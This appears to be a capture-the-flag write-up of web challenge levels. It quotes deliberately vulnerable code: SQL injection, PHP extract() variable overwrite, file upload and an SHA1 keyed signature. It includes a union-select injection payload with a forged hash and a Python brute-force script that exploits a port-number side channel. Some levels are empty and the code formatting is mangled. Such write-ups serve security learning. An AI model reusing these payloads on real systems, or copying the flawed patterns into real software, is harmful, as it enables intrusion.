Hello, World!
Level 0:
So quickly looking at the code, the main areas we’re interested in are right here ….
*SNIP*
sqlite3 = require('sqlite3'); // SQLite (database) driver
*SNIP*
if (namespace) {
var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
db.all(query, namespace, function(err, secrets) {
if (err) throw err;
renderPage(res, {namespace: namespace, secrets: secrets}); });

Level 1:
<?php
$filename = 'secret-combination.txt';
extract($_GET);
if (isset($attempt)) {
$combination = trim(file_get_contents($filename));
if ($attempt === $combination) {
echo "<p>How did you know the secret combination was" .
" $combination!?</p>";
$next = file_get_contents('level02-password.txt');
echo "<p>You've earned the password to the access Level 2:" .
" $next</p>";
} else {
echo "<p>Incorrect! The secret combination is not $attempt</p>";
}
}
?>
- creates $filename storing ‘secret-combination.txt’
- extract $_GET (all GET parameters supplied by the user)
- if $attempt is set:
- declare $combination with the trim()’d contents of $filename
- if $attempt and $combination are equal
- print contents of ‘level02-password.txt’
- else
- print incorrect
<br
>
In simple terms, it will create variables depending on what you supply in your GET request. In this case we can see that our request /?attempt=SECRET creates a variable $attempt that stores the value “SECRET”, so we could also send ”/?attempt=SECRET&filename=random_file.txt”. The extract() will now overwrite their original $filename with our supplied value, ”random_file.txt”.

Level 2:
*snip*
$dest_dir = "uploads/";
*snip*
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="dispic" size="40" />
<input type="submit" value="Upload!">
</form>
<p>
Password for Level 3 (accessible only to members of the club):
<a href="password.txt">password.txt</a>
*snip*
Level 3:
Ok, so let’s look at some important parts. We know it’s sqlite3 again and how it is setup:
# CREATE TABLE users (
# id VARCHAR(255) PRIMARY KEY AUTOINCREMENT,
# username VARCHAR(255),
# password_hash VARCHAR(255),
# salt VARCHAR(255)
# );
query = """SELECT id, password_hash, salt FROM users
WHERE username = '{0}' LIMIT 1""".format(username)
cursor.execute(query)
res = cursor.fetchone() if not res: return “There’s no such user {0}!n“.format(username) user_id, password_hash, salt = res
calculated_hash = hashlib.sha256(password + salt) if calculated_hash.hexdigest() != password_hash: return “That’s not the password for {0}!n“.format(username)
So we can see that the statement is using our supplied username, which has an SQL injection of course. They’re selecting the id, password_hash, and salt from users where the username equals our input. Let’s load up our own sample database, make some test queries and, see what happens….
As you can see, by using a union select we can define in the content of the response. The ‘new id’, ‘new hash’, and ‘new salt’ was in our response. After looking at the code when it does the compare, we can see that it does a sha256(password + salt) and compares it to what was in the response for the sql statement.
username: z’%20union%20select%20’1′,’dbb4061dc0dd72027d1c3a13b24f17b01fb163037211192c841a778fa2bba7d5′,’lolsalt
password: lolpassword
Level 4:
Level 5:
post '/*' do
pingback = params[:pingback]
username = params[:username]
password = params[:password]
def authenticated?(body)
body =~ /[^w]AUTHENTICATED[^w]*$/
Level 6:
Level 7:
def verify_signature(user_id, sig, raw_params):
# get secret token for user_id
try:
row = g.db.select_one('users', {'id': user_id})
except db.NotFound:
raise BadSignature('no such user_id')
secret = str(row['secret'])
h = hashlib.sha1() h.update(secret + raw_params) print ‘computed signature‘, h.hexdigest(), ‘for body‘, repr(raw_params) if h.hexdigest() != sig: raise BadSignature(‘signature does not match‘) return True
Level 8:
This level seems to be a little involved, but it’s easy to understand once you see what it is doing. There is a primary server, and when you launch it you supply it a 12 digit password and a socket to listen on. It will break the password up into 4 chunks of 3 characters each and spawn 4 chunk servers. Each chunk server will have a chunk from the primary and all of your requests will be compared to it. The primary server can then receive requests from you with a password. It will chunk up the supplied password and check with the chunk servers; if it receives TRUE on all 4 it will respond with TRUE, but FALSE on any of them and you’ll get a FALSE. Your goal is to figure out what is the 12 digit password that was supplied to the primary server on startup. When making a request to the primary server you can also supply it with a webhook, where it will send the response to whichever socket you supplied.
#!/usr/bin/env python
import socket import urllib2 import json import sys
try: import argparse parser = argparse.ArgumentParser() parser.add_argument(“–port”, default=49567, type=int, help=”Which port to listen for incoming connections on”) parser.add_argument(“targetURL”, help=”The URL of the targed primary server”) parser.add_argument(“webhooksHost”, help=”Where the primary server should connect back for the webhooks”) args = parser.parse_args() except ImportError: # level02 server doesn’t have argparse… grrr class args(object): port = 49567 targetURL = sys.argv[1] webhooksHost = sys.argv[2]
def password_gen(length, prefix=””, charset=”1234567890″): def gen(length, charset): if length == 0: yield “” else: for ch in charset: for pw in gen(length – 1, charset): yield pw + ch
for pw in gen(length – len(prefix), charset): yield prefix + pw
def do_webhooks_connectback(): c_sock, addr = webhook_sock.accept() c_sock.recv(1000) c_sock.send(“HTTP/1.0 200rnrn”) c_sock.close() return addr[1]
def do_auth_request(password): print “Trying password:”, password r = urllib2.urlopen(args.targetURL, json.dumps({“password”:password, “webhooks”:webhook_hosts})) port = do_webhooks_connectback() result = json.loads(r.read())
print “Connect back Port:”, port
if result[“success”]: print “Found the password!!!” print result sys.exit(0) else: return port
def calc_chunk_servers_for_password(password): # we need to figure out what the “current” port is, so make a request that will fail base_port = do_auth_request(“aaa”) # figure out what the last port number is final_port = do_auth_request(password) # we should be able to tell how many chunk servers it talked too return (final_port – base_port) – 1
# create the listen socket webhook_sock = socket.socket() webhook_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) webhook_sock.bind((“”, args.port)) webhook_sock.listen(100)
webhook_hosts = [“%s:%d” % (args.webhooksHost, args.port)]
# We can guess our password by calculating how many TCP connections the primary server has # made before connecting to our webhook. The more connections the server has made, # the more chunks that we have correct.
prefix = “” curr_chunk = 1
while True: for pw in password_gen(12, prefix): found_chunk = True for i in xrange(10): num_servers = calc_chunk_servers_for_password(pw) print “Num Servers:”, num_servers if num_servers == curr_chunk: # incorrect password found_chunk = False break elif num_servers > curr_chunk: # we may have figured out a chunk… but someone else may have just made a request # so we will just try again continue elif num_servers < 0: # ran out of ports and we restarted the port range continue else: # somehow we regressed… abort! print “[!!!!] Hmmm… somehow we ended up talking to fewer servers than before…” sys.exit(-1) if found_chunk: # ok, we are fairly confident that we have found the next password chunk prefix = pw[:curr_chunk * 3] # assuming 4 chunk servers, with 3 chars each… TODO: should calc this curr_chunk += 1 print “[!] Found chunk:”, prefix break


